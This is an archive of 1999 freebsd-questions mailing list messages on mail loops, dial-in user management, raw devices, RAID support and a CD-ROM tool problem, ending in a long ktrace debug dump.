> [108:/tmp] id
> uid=2045(cjc) gid=20(staff) groups=20(staff), 0(wheel)
> [109:/tmp] touch foo
> [110:/tmp] ls -ld foo .
> drwxrwxrwt  5 bin  bin  1024 Mar 22 16:30 .
> -rw-rw-r--  1 cjc  bin     0 Mar 22 16:30 foo
> 
> Yes.
> -- 
> Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Mon Mar 22 15:35: 1 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 15:36:12 -0800
From: Kent Stewart <kstewart@3-cities.com>
Organization: BOSSig
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To: Brett Taylor <brett@peloton.physics.montana.edu>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Duplicate E-Mail Messages
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Actually it was supposed to be 70 but Murphy interceeded :).

Kent


Brett Taylor wrote:
> 
> Hi,
> 
> On Mon, 22 Mar 1999, Kent Stewart wrote:
> 
> > What I
> > noticed on
> > the
> > headers
> > that I
> > looked at
> > was
> > identical
> > message
> > ID's until
> > hub.freebsd.org
> > sent the
> > mail on to
> > to
> > sol.net.
> 
> Um - you don't need to set your word wrap to like 20 characters....
> 
> That's really annoying.
> 
> Brett
> ***********************************************************
> Brett Taylor            brett@peloton.physics.montana.edu *
>                         brett@daemonnews.org              *
>                                                           *
>                         http://www.daemonnews.org/        *
> ***********************************************************
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message

-- 
Kent Stewart
Richland, WA

mailto:kstewart@3-cities.com
http://www.3-cities.com/~kstewart/index.html

Hunting Archibald Stewart, b 1802 in Ballymena, Antrim Co., NIR
http://www.3-cities.com/~kstewart/genealogy/archibald_stewart.html


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From owner-freebsd-questions  Mon Mar 22 15:41:44 1999
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Message-ID: <36F6D556.BC128FBB@TurnAround.com.au>
Date: Tue, 23 Mar 1999 10:42:14 +1100
From: Andrew Johns <A_Johns@TurnAround.com.au>
Organization: TurnAround Solutions P/L
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To: Jose Guzman Ponce <jogupo@lemaco.hn>
Cc: FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: From Honduras Again...
References: <000101be74ba$59d62ca0$56ba2acf@jogupo.lemaco.hn>
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Jose Guzman Ponce wrote:
> 
> I Appologize...
> 
> My organization is Lema Computers (www.lemaco.hn), and I have two US
> Robotics modems connected with a Router to the Hub and my Main computer is
> connected to that Hub...
> 
> Any additional information please reply message...
> 
> Thank You Again...
> 
> Jose Guzman

Sorry, did I miss something - Do you actually _have_ a question
to ask?

-- 
Regards                        |    _/\_/\
Andrew Johns BSc (Comp Sci)    |   /      \
TurnAround Solutions Pty Ltd   |   \_...__/
http://www.turnaround.com.au/  |        \/

"The box said 'Requires Windows 95, NT, or better,' so I
installed FreeBSD."


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From owner-freebsd-questions  Mon Mar 22 15:45:47 1999
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Date: Tue, 23 Mar 1999 10:15:18 +1030
From: Greg Lehey <grog@lemis.com>
To: Christopher Michaels <ChrisMic@clientlogic.com>,
	"FreeBSD Mailing List (E-mail)" <questions@freebsd.org>
Subject: Re: Am I the only one getting doubles
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On Monday, 22 March 1999 at 12:26:40 -0500, Christopher Michaels wrote:
>> On Monday, March 22, 1999 9:28 AM, Steve Hovey <shovey@buffnet.net> wrote:
>>
>> Am I the only one getting doubles from questions?
>
> I'm not getting doubles, but I am getting alot of returned mail from
> hub.freebsd.org.

We had problem with isdn.net.il, which was running Microsoft's
SPAMPSVC mailer.  It was sending received messages back to the list,
apparently not for the first time.  It's been blocked, and you
shouldn't see any more problems in that area.  If you get any more,
look at the headers and report anything that looks like a loop.

Greg
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From owner-freebsd-questions  Mon Mar 22 15:49:13 1999
Delivered-To: freebsd-questions@freebsd.org
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From: "Dave Walton" <walton@emusic.com>
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Date: Mon, 22 Mar 1999 15:48:51 -0800
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Subject: Hardware monitoring
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References: Your message of "Thu, 12 Nov 1998 14:30:43 PST."             <19981112223044.5134.qmail@modgud.nordicdms.com> 
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Is there a driver available for the Winbond W83781D Hardware 
Monitoring chip?
See http://www.winbond.com/produ/w83781d.htm and 
http://www.winbond.com/sheet/W83781D.pdf for details.

Thanks,
Dave


----------------------------------------------------------------------
Dave Walton                                                           
Webmaster, Postmaster                                           Emusic
walton@emusic.com                                http://www.emusic.com
----------------------------------------------------------------------


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From owner-freebsd-questions  Mon Mar 22 15:53:14 1999
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From: Greg Lehey <grog@lemis.com>
To: Edward Glowacki <glowack2@key-largo.cl.msu.edu>,
	freebsd-questions@freebsd.org
Subject: Re: DPT SmartRAID V support?
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On Monday, 22 March 1999 at 11:58:32 -0500, Edward Glowacki wrote:
> Is support for the DPT SmartRAID V expected to be implemented any time soon?

In a word: "yes".  Work is in progress, and has been for a couple of
months, but we don't have any firm release date.

Greg
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From owner-freebsd-questions  Mon Mar 22 15:58: 7 1999
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From: Greg Lehey <grog@lemis.com>
To: Roelof Osinga <roelof@eboa.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Have crashed, won't travel
References: <19990316174710.H429@lemis.com> <36EE54A4.8DC53017@eboa.com> <19990317093436.G429@lemis.com> <36EFC56A.ACBFB0A7@eboa.com> <19990318100818.L429@lemis.com> <36F1BDBB.E9E4F323@eboa.com> <19990319150941.U429@lemis.com> <36F2ABBF.9B789EDB@eboa.com> <19990320100004.J429@lemis.com> <36F6A64E.3DED5FB6@eboa.com>
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On Monday, 22 March 1999 at 21:21:34 +0100, Roelof Osinga wrote:
> Greg Lehey wrote:
>>
>>> Could you run that by me again. If /dev/wd0s1g is the device holding
>>> the structure I need to manipulate then what is the device I should
>>> give as parameter to fsdb?
>>
>> /dev/rwd0s1g.
>
> Aarrgghh!! The *R*! As in 'raw device'! Of course. Sorry. Don't know
> why I couldn't see it or remember the difference. Just now it hit me.
>
>> Well, in fact we have a block device interface and a character device
>> interface, and they both talk to the same device.  The difference is
>> that the block interface is buffered and the character interface
>> isn't.
>
> What's in a 'r'? That a device, by any other name, may drive as sweet.
> To r or not to r, that is the question!

To cache or not to cache is the real question.  Raw devices write
straight to the device; block devices go through the buffer cache.
Sometimes it makes a difference.

Greg
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From owner-freebsd-questions  Mon Mar 22 15:59: 5 1999
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From: "Leo Kliger" <leo@astea.com.au>
To: <freebsd-questions@FreeBSD.ORG>
Subject: Fw: From Honduras
Date: Tue, 23 Mar 1999 10:55:51 +1100
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Andrew,
here is his question from earlier on......
Leo

----------
> From: Jose Guzman Ponce <jogupo@lemaco.hn>
> To: freebsd-questions@FreeBSD.ORG
> Subject: From Honduras
> Date: Tuesday, 23 March 1999 09:38 AM
> 
> I have installed FreeBSD in our Main Computer, I have installed Mail,
> Internet Service, Ftp Service and Radius. I do not have enough
experienced
> in UNIX, I just want to know the following:
> 1) How can I check my Dial in Users?, Who are they?, If there isn't other
> with the same user?
> 2) How can I give to some of my users limited access?
> 3) How can I limit the service of my users?, Some have Internet access
but
> not mail, or viceversa.
> 
> Thank You very much
> 
> Jose Guzman
> 
> 
> 
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From owner-freebsd-questions  Mon Mar 22 15:59:48 1999
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On Monday, 22 March 1999 at 16:30:11 -0500, Patrick Seal wrote:
> I used the port patch 'patch-ab' on a copy of the CD on my harddrive and
> tried to install.  It keep giving me a bunch of errors.
>
> Does anyone know the correct procedure for installing it?

Start by reporting some of your bunch.

Greg
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From owner-freebsd-questions  Mon Mar 22 16: 3: 8 1999
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Thank you all for ideas and responses to my e-mail (Windows connect
to FreeBSD)



I'll tried using Samba.  I really appreciate the help.  Thanks again!


Frankie



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From owner-freebsd-questions  Mon Mar 22 16: 5:47 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Mon, 22 Mar 1999 18:05:13 -0600 (CST)
From: Christopher Palmer <cpalmer@jig.ordway.org>
To: Jack James <indyjj@indy.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: files
In-Reply-To: <36F4FAC9.8391D199@indy.net>
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On Sun, 21 Mar 1999, Jack James wrote:

> 1.  Will Freebsd run RPM format files?

RPM files are not executables; they are software packages (which contain
the excutables, among other things). I bet the RPM software would compile
under FreeBSD, but if not, you can always convert RPMs to tarballs or cpio
files as well.


Christopher Palmer
Assistant Systems Administrator, Ordway Music Theatre
cpalmer@jig.ordway.org



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From owner-freebsd-questions  Mon Mar 22 16: 6:22 1999
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Date: Tue, 23 Mar 1999 02:05:13 +0200 (SAST)
From: Khetan Gajjar <khetan@chain.freebsd.os.org.za>
Reply-To: Khetan Gajjar <khetan@os.org.za>
To: questions@freebsd.org
Subject: CDD and CAM problem(s)
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Hi.

I'm having problems with cdd-1.0, which is supposed to work with CAMified
SCSI CD-ROM's.

669=[root@chain] /cdrom_burn/cdrom# ktrace cdd -f cd0 -t 1 -q /cdrom_burn/cdrom/ 
+ ktrace cdd -f cd0 -t 1 -q /cdrom_burn/cdrom/
Unable to open /dev/rcd0.ctl [0], try atapi
toclen 0
track 0 0 start        0 ctrl 0x0 type 0x0 l -272748548
track 1 1 start        0 ctrl 0x0 type 0x1 l 0
track 2 2 start    16250 ctrl 0x0 type 0x1 l 16250
track 3 3 start    47310 ctrl 0x0 type 0x1 l 47310
track 4 4 start    70597 ctrl 0x0 type 0x1 l 70597
track 5 170 start    90627 ctrl 0x0 type 0x1 l 90627
CDIOREADAUDIO: Inappropriate ioctl for device
You have mail in /var/mail/khetan

I've included the trace output below, if it will help anyone.

 30314 ktrace   RET   ktrace 0
 30314 ktrace   CALL  readlink(0x280cde10,0xefbfd120,0x3f)
 30314 ktrace   NAMI  "/etc/malloc.conf"
 30314 ktrace   RET   readlink -1 errno 2 No such file or directory
 30314 ktrace   CALL  mmap(0,0x1000,0x3,0x1002,0xffffffff,0,0,0)
 30314 ktrace   RET   mmap 672014336/0x280e2000
 30314 ktrace   CALL  break(0x804c000)
 30314 ktrace   RET   break 0
 30314 ktrace   CALL  break(0x804d000)
 30314 ktrace   RET   break 0
 30314 ktrace   CALL  execve(0xefbfd228,0xefbfd6ec,0xefbfd70c)
 30314 ktrace   NAMI  ".//cdd"
 30314 ktrace   RET   execve -1 errno 2 No such file or directory
 30314 ktrace   CALL  execve(0xefbfd228,0xefbfd6ec,0xefbfd70c)
 30314 ktrace   NAMI  "/home/khetan/cdd"
 30314 ktrace   RET   execve -1 errno 2 No such file or directory
 30314 ktrace   CALL  execve(0xefbfd228,0xefbfd6ec,0xefbfd70c)
 30314 ktrace   NAMI  "/usr/bin/cdd"
 30314 ktrace   RET   execve -1 errno 2 No such file or directory
 30314 ktrace   CALL  execve(0xefbfd228,0xefbfd6ec,0xefbfd70c)
 30314 ktrace   NAMI  "/usr/local/bin/cdd"
 30314 ktrace   NAMI  "/usr/libexec/ld-elf.so.1"
 30314 cdd      RET   execve 0
 30314 cdd      CALL  __sysctl(0xefbfd608,0x2,0x2805ed94,0xefbfd610,0,0)
 30314 cdd      RET   __sysctl 0
 30314 cdd      CALL  mmap(0,0x8000,0x3,0x1002,0xffffffff,0,0,0)
 30314 cdd      RET   mmap 671481856/0x28060000
 30314 cdd      CALL  geteuid
 30314 cdd      RET   geteuid 0
 30314 cdd      CALL  getuid
 30314 cdd      RET   getuid 0
 30314 cdd      CALL  getegid
 30314 cdd      RET   getegid 0
 30314 cdd      CALL  getgid
 30314 cdd      RET   getgid 0
 30314 cdd      CALL  open(0x2805bb57,0,0x2805e968)
 30314 cdd      NAMI  "/var/run/ld-elf.so.hints"
 30314 cdd      RET   open 3
 30314 cdd      CALL  read(0x3,0xefbfd5c8,0x80)
 30314 cdd      GIO   fd 3 read 128 bytes
       "Ehnt\^A\0\0\0\M^@\0\0\0L\0\0\0\0\0\0\0K\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
	\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
	\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
	\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
 30314 cdd      RET   read 128/0x80
 30314 cdd      CALL  lseek(0x3,0,0x80,0,0)
 30314 cdd      RET   lseek 128/0x80
 30314 cdd      CALL  read(0x3,0x28065000,0x4c)
 30314 cdd      GIO   fd 3 read 76 bytes
       "/usr/lib:/usr/lib/compat:/usr/X11R6/lib:/usr/local/lib:/usr/local/pgsq\
	l/lib\0"
 30314 cdd      RET   read 76/0x4c
 30314 cdd      CALL  close(0x3)
 30314 cdd      RET   close 0
 30314 cdd      CALL  access(0x28061020,0)
 30314 cdd      NAMI  "/usr/lib/libc.so.3"
 30314 cdd      RET   access 0
 30314 cdd      CALL  open(0x28061020,0,0x2805e968)
 30314 cdd      NAMI  "/usr/lib/libc.so.3"
 30314 cdd      RET   open 3
 30314 cdd      CALL  read(0x3,0xefbfc648,0x1000)
 30314 cdd      GIO   fd 3 read 4096 bytes
       "\^?ELF\^A\^A\^A\0FreeBSD\0\^C\0\^C\0\^A\0\0\0\^\\^P\^A\0004\0\0\0\\:\a\
	\0\0\0\0\0004\0 \0\^C\0(\0\^]\0\^Z\0\^A\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
	\M-Q\M-?\^F\0\M-Q\M-?\^F\0\^E\0\0\0\0\^P\0\0\^A\0\0\0\M-T\M-?\^F\0\M-T\
	\M-O\^F\0\M-T\M-O\^F\0\M-@3\0\0D(\^A\0\^F\0\0\0\0\^P\0\0\^B\0\0\0\^T\
	\M-s\^F\0\^T\^C\a\0\^T\^C\a\0\M^@\0\0\0\M^@\0\0\0\^F\0\0\0\^D\0\0\0\a\
	\^D\0\0\M-'\^E\0\0Q\0\0\0e\^A\0\0\f\^E\0\0\M^B\^E\0\0<\^A\0\0001\^E\0\
	\0\M^R\^B\0\0\M^A\^B\0\0\M-K\^C\0\0"\^B\0\0\240\^B\0\0O\^D\0\0\0\0\0\0\
	`\0\0\0	\^C\0\0\M-}\^B\0\0\0\0\0\0\0\0\0\0\M-x\^B\0\0l\^B\0\0\0\0\0\0\
	\^U\^C\0\0U\0\0\0\M-4\^B\0\0\0\0\0\0001\^D\0\0\M-r\^D\0\0E\^A\0\0\0\0\
	\0\0{\0\0\0\0\0\0\0\M^?\^D\0\0\0\0\0\0\^T\^A\0\0O\^E\0\0\M-a\^C\0\0\0\
	\0\0\0\0\0\0\0\M-4\^A\0\0\0\0\0\0Y\^A\0\0\0\0\0\0\M-/\^B\0\0\M-A\^C\0\
	\0\M-f\^C\0\0\0\0\0\0c\^A\0\0\0\0\0\0\M-^\^C\0\0\M-]\^A\0\0006\0\0\0c\
	\0\0\0\0\0\0\0\0\0\0\0\M^H\^C\0\0o\^E\0\0\M-@\^B\0\0\M-y\^D\0\0\M-+\^D\
	\0\0N\^E\0\0\M-P\^D\0\0\0\0\0\0D\^C\0\0\^_\^A\0\08\^D\0\0c\^E\0\0\M^@\
	\^E\0\0!\^C\0\0	\^E\0\0\M-Z\0\0\0\0\0\0\0~\0\0\0\240\^D\0\0,\^C\0\0\
	\M-W\^B\0\0\M^F\^C\0\0K\^C\0\0w\^E\0\0\0\0\0\0e\^E\0\0V\^D\0\0\0\^D\0\
	\0\^[\^B\0\0s\^D\0\0\0\0\0\0A\^E\0\0P\0\0\0\M-+\^A\0\0\0\0\0\0\^[\^E\0\
	\0\M-O\0\0\0\M-~\^A\0\0\0\0\0\0\M^V\^A\0\0\0\0\0\0\M^@\^C\0\0o\^B\0\0\
	\M-J\^C\0\0\^D\^D\0\0\0\^E\0\0\M-{\^D\0\0\\\^C\0\0x\^A\0\0\f\^A\0\0\
	\M-f\0\0\0\0\0\0\0v\^D\0\0\0\0\0\0\^P\^C\0\0\M-0\^A\0\0\M-h\^C\0\0\0\0\
	\0\0\M-v\^D\0\0\M^B\^A\0\0\M-d\^C\0\0\M-C\^B\0\0\0\0\0\0v\^E\0\0000\^C\
	\0\0\0\0\0\0\0\0\0\0u\^A\0\0\^Y\^B\0\0\^R\^E\0\0\0\0\0\0006\^E\0\0000\
	\^A\0\0\0\0\0\0\0\0\0\0\M-?\^B\0\0002\^C\0\0%\0\0\0\M-i\0\0\0\M^I\^E\0\
	\0\M^A\^A\0\0\M-A\^D\0\0h\^C\0\0]\^D\0\0\0\0\0\0\M-v\^A\0\0\M-C\0\0\0V\
	\^A\0\0\M^O\^B\0\0\M^J\^E\0\0\0\0\0\0\M^I\^A\0\0005\^E\0\0\0\0\0\0\M-~\
	\^C\0\0!\^E\0\0E\^C\0\0\0\0\0\0\M-6\0\0\0\M--\^C\0\0\0\0\0\0\M-:\0\0\0\
	\0\0\0\0\M-)\^B\0\0\M-z\^C\0\0-\^D\0\0\0\0\0\0\0\0\0\0V\^E\0\0\M-d\0\0\
	\0/\^B\0\0\M-,\^A\0\0\M-V\^A\0\0\r\^B\0\0N\^C\0\0!\0\0\0\M-(\^B\0\0\
	\M-f\^B\0\0~\^C\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^Y\^E\0\0\M-5\^C\0\0\M-,\
	\^B\0\0\a\^B\0\0\M-J\0\0\0\0\0\0\0\M^K\^E\0\0\M^R\^E\0\0\0\0\0\0k\^C\0\
	\0R\^D\0\0\M-*\^B\0\08\^A\0\0\240\^C\0\0\M^_\^D\0\0\0\0\0\0t\^B\0\0\
	\M-@\^C\0\0!\^A\0\0\M-L\^C\0\0\0\0\0\0007\^C\0\0\M^[\^A\0\0(\^A\0\0005\
	\^C\0\0a\^B\0\0\0\0\0\0'\^B\0\0\0\0\0\0\0\0\0\0\M-y\^C\0\0\0\0\0\0\v\0\
	\0\0\0\0\0\0\^C\^A\0\0\0\0\0\0\M-8\^C\0\0\M^S\^E\0\0}\^A\0\0\M^C\^C\0\
	\0e\^C\0\0\M-D\^B\0\0h\^A\0\0\M-*\^D\0\0\M-[\^A\0\0r\0\0\0\0\0\0\0\M-v\
	\0\0\0\M-%\^E\0\0D\^B\0\0\M-U\^C\0\0;\^E\0\0\0\0\0\0L\^A\0\0\M-;\0\0\0\
	\M-t\^A\0\0V\^B\0\0w\^C\0\0`\^E\0\0\M-,\^C\0\0T\^A\0\0\0\0\0\0\M-g\^C\
	\0\0\^^\^A\0\0=\^E\0\0\0\0\0\0\M-)\^D\0\0\0\0\0\0
	\^D\0\0001\^B\0\0|\^A\0\0\0\0\0\0\^Q\0\0\0\0\0\0\0x\^D\0\0}\^B\0\0\M^T\
	\^D\0\0\M-2\^B\0\0\0\0\0\0\M-+\^B\0\0H\^B\0\0\^Z\^D\0\0\M^]\^B\0\0\M^D\
	\^D\0\0\^Z\^A\0\0\M^F\0\0\0Y\^B\0\0\M-b\^C\0\0I\^C\0\0\0\0\0\0t\^E\0\0\
	\M-S\0\0\0\M->\^A\0\0q\^A\0\0\0\0\0\0]\0\0\0\M^B\0\0\0B\^C\0\0\M^F\^A\
	\0\0\M-\\^C\0\0\M-Q\^B\0\0\0\0\0\0H\0\0\0K\0\0\0\0\0\0\0\M^N\^D\0\0\
	\M^P\0\0\0j\^A\0\0002\^A\0\0\M-8\^B\0\0n\^D\0\0i\^D\0\0\M^S\0\0\0\M-a\
	\^B\0\0\0\0\0\0\M-)\^C\0\0\0\0\0\0C\0\0\0\^F\0\0\0\0\0\0\0\M-#\^D\0\0\
	\M^]\^E\0\08\^C\0\0\M-Z\^C\0\0b\0\0\0\0\0\0\0\M^M\^B\0\0p\^B\0\0)\0\0\
	\0\0\0\0\0F\^A\0\0\M-i\^A\0\0\M-x\^C\0\0\M-f\^D\0\0M\^C\0\0>\^B\0\0\
	\M-&\^E\0\0\M-4\^D\0\0\M-N\^C\0\0\M^Z\^C\0\0\^R\^D\0\0\0\0\0\0\0\0\0\0\
	\b\0\0\0\^X\^D\0\0\^?\^B\0\0\M^K\^A\0\0\0\0\0\0\0\0\0\0\M--\^D\0\0\M^X\
	\^C\0\0\0\0\0\0\0\0\0\0\M-a\^A\0\0\0\0\0\0\0\0\0\0\0\0\0\0:\^D\0\0\0\0\
	\0\0\M-_\0\0\0\M-0\^C\0\0\^?\^D\0\0>\0\0\0\M^\\0\0\0v\^C\0\0\0\0\0\0X\
	\^A\0\0\M^Y\0\0\0M\^E\0\0\0\0\0\0\0\0\0\0\^N\^A\0\0\0\0\0\0W\^A\0\0#\
	\^C\0\0\M-8\0\0\0\M^T\0\0\0#\^D\0\0\^F\^E\0\0\0\0\0\0\0\0\0\0\M--\0\0\
	\0\0\0\0\0\M-*\0\0\0g\^B\0\0\0\0\0\0\M-u\^A\0\0\M-7\^C\0\0\0\0\0\0\M^A\
	\^D\0\0x\^B\0\0\0\0\0\0\M-A\^B\0\0\M^C\^E\0\0\^_\^E\0\0+\0\0\0\M^K\^C\
	\0\0\M^U\^C\0\0s\^B\0\0\f\0\0\0\M^Q\^D\0\0\0\0\0\0\M-h\^A\0\0y\^B\0\0-\
	\0\0\0\M-T\^D\0\0\0\0\0\0\M^\\^E\0\0j\0\0\0\0\0\0\0*\^D\0\0\0\0\0\0\0\
	\0\0\0\M-X\^B\0\0\M-D\^C\0\0\M-!\^E\0\0\0\0\0\0\0\0\0\0\0\0\0\0\f\^D\0\
	\0\M-q\0\0\0\0\0\0\0<\^D\0\0^\0\0\0q\^D\0\0\M-?\0\0\0#\^B\0\0R\^E\0\0\
	\M-Y\^D\0\0\M-Z\^A\0\0\M^@\^B\0\0.\^D\0\0\0\0\0\0\^B\^A\0\0<\^B\0\0\0\
	\0\0\0\0\0\0\0\M^U\^D\0\0\^E\0\0\0\M-U\^D\0\0`\^B\0\0\M^S\^B\0\0b\^A\0\
	\0\M-n\^D\0\0000\^B\0\0\0\0\0\0	\0\0\0\0\0\0\0\M^U\^A\0\0\M-l\0\0\0\0\
	\0\0\0\^S\^A\0\0005\0\0\0\^A\^E\0\0\^O\^C\0\0W\^C\0\0\M-o\^B\0\0 \^C\0\
	\0\M-]\0\0\0\0\^B\0\0\M-t\^C\0\0\0\0\0\0!\^B\0\0\M-s\^B\0\0\M^D\^A\0\0\
	\M^Q\^B\0\0\M-v\^B\0\0^\^B\0\0\M-c\^B\0\0\0\0\0\0\0\0\0\0\M-=\0\0\0\
	\M-5\^A\0\0\M^F\^B\0\0\^?\0\0\0005\^A\0\0\M-^\^A\0\0\0\0\0\0W\^B\0\0.\
	\^A\0\0&\^E\0\0\M-I\^B\0\0\M-(\^C\0\0\0\0\0\0\M-r\^A\0\0l\^A\0\0\^T\^B\
	\0\0\M-k\^A\0\0\\\^D\0\0\0\0\0\0\^D\^C\0\0
	\0\0\0r\^A\0\0S\0\0\0a\^D\0\0\0\0\0\0\0\0\0\0P\^E\0\0\M^S\^D\0\0\0\0\0\
	\0j\^E\0\0\M-l\^B\0\0\^V\^E\0\0_\^C\0\0\M-9\^A\0\0\M-}\^D\0\0"\0\0\0\0\
	\0\0\0/\0\0\0\M-F\^D\0\0y\^E\0\0c\^C\0\0C\^C\0\0\M-)\0\0\0\M-H\0\0\0\
	\M-:\^C\0\0;\0\0\0\0\0\0\0g\0\0\0\M-}\^C\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
	\0\0\0\M^\\^B\0\0|\0\0\0\M^^\^D\0\0\^Q\^A\0\0\M^P\^C\0\0\M-S\^D\0\0.\
	\^C\0\0\M-^\^D\0\0000\0\0\0\M^Q\0\0\09\^C\0\0\M-O\^B\0\0\0\0\0\0P\^A\0\
	\0\M-w\^B\0\0\M-~\^B\0\0\^V\^D\0\0\^Z\^B\0\0\M-:\^D\0\0\0\0\0\0\0\0\0\
	\0\0\0\0\0\M-=\^B\0\0~\^D\0\0\0\0\0\0\M^W\^B\0\0\M-.\^D\0\0\M^P\^D\0\0\
	Q\^A\0\0\M-<\^A\0\0\0\0\0\0\M-K\^B\0\0\^D\^A\0\0\0\0\0\0\0\0\0\0\M-a\0\
	\0\0\M-$\^D\0\0\f\^B\0\0\0\0\0\0\0\0\0\0\M-'\^D\0\0\0\0\0\0\M^_\^A\0\0\
	\^R\^B\0\0\0\0\0\0007\^E\0\0K\^D\0\0\M-W\^C\0\0\M-L\0\0\0004\^E\0\0z\
	\^B\0\0\M-%\^A\0\0\M^K\0\0\0\M-|\^B\0\0\0\0\0\0\M^@\^A\0\0N\^A\0\0\M-=\
	\^C\0\0\M^V\0\0\0\M-S\^C\0\0\0\0\0\0A\0\0\0\0\0\0\0\^X\^A\0\0\M-~\0\0\
	\0\M-H\^A\0\0p\^D\0\0{\^D\0\0\M^^\^E\0\0\^N\^E\0\0\0\0\0\0h\^E\0\0\0\0\
	\0\0\M-g\^B\0\0\M-B\^C\0\0N\^B\0\0B\0\0\0\M^O\^D\0\0\0\0\0\0P\^B\0\0\0\
	\0\0\0\0\0\0\0L\^D\0\0\0\0\0\0k\^D\0\0w\0\0\0\0\0\0\0\^B\^B\0\0\0\0\0\
	\0\0\0\0\0\M-p\^D\0\0\^P\0\0\0X\0\0\0(\0\0\0\M-A\^A\0\0\0\0\0\0\M-P\^A\
	\0\0>\^D\0\0\M-\\^A\0\08\0\0\0\M-L\^B\0\0:\^B\0\0u\^D\0\0\M-S\^B\0\0\
	\M-p\0\0\0\M-U\0\0\0f\^E\0\0J\^C\0\0\0\0\0\0\0\0\0\0\0\0\0\0B\^E\0\000\
	4\^A\0\0\M^C\^A\0\0\M-Q\^A\0\0\M-z\^B\0\0\M-{\^A\0\0\M-Z\^D\0\0e\^B\0\
	\0f\^A\0\0\M-V\^B\0\0v\^A\0\0\M-m\^D\0\0\0\0\0\0\M^P\^E\0\0z\^D\0\0~\
	\^E\0\0n\^A\0\0\0\0\0\0\M-2\^D\0\0\0\0\0\0\0\0\0\0A\^A\0\0\0\0\0\0\0\0\
	\0\0\0\0\0\0\0\0\0\0t\0\0\0\^F\^A\0\0\0\0\0\0\0\0\0\0\M-%\0\0\0\M^A\^E\
	\0\0r\^E\0\0\M-~\^D\0\0\f\^C\0\0\M^U\^E\0\0\0\0\0\0\0\0\0\0\^Y\0\0\0)\
	\^E\0\0\M-J\^A\0\0m\0\0\0\M^O\^C\0\0d\^E\0\0\M^P\^B\0\0\M^^\^C\0\0Z\0\
	\0\0\M-e\^A\0\0A\^D\0\0\M-+\0\0\0V\0\0\0\M-[\^D\0\0\M-j\0\0\0\M-4\^C\0\
	\0001\^C\0\0\M^T\^C\0\0\240\^E\0\0\0\0\0\0\0\0\0\0\M^K\^D\0\0\0\0\0\0X\
	\^D\0\0R\^B\0\0\0\0\0\0T\^B\0\0\0\0\0\0Q\^C\0\0*\^E\0\0\^U\^B\0\0\M-D\
	\0\0\0\M-L\^D\0\0\M-A\0\0\0\0\0\0\0\M-s\0\0\0\^S\0\0\0\0\0\0\0\M-&\^C\
	\0\08\^B\0\0\0\0\0\0
	\^B\0\0\^Q\^E\0\0\^C\^D\0\0\M-?\^C\0\0\M-N\^B\0\0>\^E\0\0\0\0\0\0\M-o\
	\^D\0\0\M^Y\^E\0\0S\^C\0\0I\0\0\0\M-M\^C\0\0\M^X\^B\0\0\M^G\^B\0\0\0\0\
	\0\0\^E\^A\0\0\M-Q\0\0\0|\^C\0\0"\^E\0\0\M-e\0\0\0\M^N\^C\0\0\M-3\^A\0\
	\0\M-q\^A\0\0\M-c\0\0\0006\^A\0\0\M-I\0\0\0,\^E\0\0a\^E\0\0@\^E\0\0\
	\M-4\0\0\0\0\0\0\0E\^D\0\0\0\0\0\0003\^E\0\0\M-Q\^D\0\0\M^D\^C\0\0\v\
	\^D\0\0_\^A\0\0\0\0\0\0\M-(\0\0\0\^E\^E\0\0\M^V\^B\0\0\M-e\^D\0\0\M-b\
	\^B\0\0\M^J\0\0\0i\^B\0\0\M-h\^D\0\0T\0\0\0G\^A\0\0\0\0\0\0Y\0\0\0\v\
	\^E\0\0\^]\^E\0\0H\^C\0\0\v\^C\0\0r\^C\0\0\0\0\0\0\M-'\^C\0\0\0\0\0\0\
	\M^A\0\0\0,\0\0\0^\^C\0\0B\^B\0\0\0\0\0\0\M-x\^D\0\0\M-U\^B\0\0\M-R\^D\
	\0\0\0\0\0\0\^C\^E\0\0\0\0\0\0\M^E\^E\0\0?\^D\0\0\M-C\^D\0\0\0\0\0\0 \
	\0\0\0\M-j\^A\0\0\M-Y\^B\0\0\0\0\0\0\M-_\^A\0\0\0\0\0\0\^Z\^E\0\0\M^Q\
	\^E\0\0\M-y\^A\0\0\M-&\^A\0\0\0\0\0\0g\^E\0\0\M-$\0\0\0,\^D\0\0\M^U\^B\
	\0\0\0\0\0\0\M-N\^A\0\0\^Y\^A\0\0\0\0\0\0h\^D\0\0O\^B\0\0y\^C\0\0Q\^E\
	\0\0^\^D\0\0\0\0\0\0\M-i\^B\0\0/\^D\0\0\0\0\0\0j\^B\0\0\0\0\0\0\a\^C\0\
	\0=\^B\0\0\M^\\^D\0\0\M^W\0\0\0(\^E\0\0\^\\^C\0\0\0\0\0\0k\^E\0\0\^\\
	\^B\0\0\M-c\^D\0\0\0\0\0\0\^?\^C\0\0M\^A\0\0\^U\^E\0\0\^W\^B\0\0W\0\0\
	\0\M^H\^A\0\0@\^D\0\0\M-T\0\0\0\0\0\0\0[\^B\0\0\M-!\0\0\0\0\0\0\0\M-Y\
	\0\0\09\0\0\0\M-O\^D\0\0'\0\0\0\0\0\0\0\M^D\^E\0\0\M-h\0\0\0\M-\\0\0\0\
	\b\^E\0\0\^D\^B\0\0\M-@\0\0\0u\^C\0\0006\^C\0\0
	\^C\0\0002\^E\0\0\M-`\^B\0\0?\^A\0\0\0\0\0\0\0\0\0\0\M-8\^D\0\0\0\0\0\
	\0\^N\^C\0\0l\^D\0\0\M-D\^D\0\0 \^B\0\0\M-!\^B\0\0\^R\0\0\0\0\0\0\0\r\
	\^C\0\0\0\0\0\0\0\0\0\0\^D\^E\0\0d\^A\0\0\0\0\0\0\M-;\^D\0\0\0\^A\0\0\
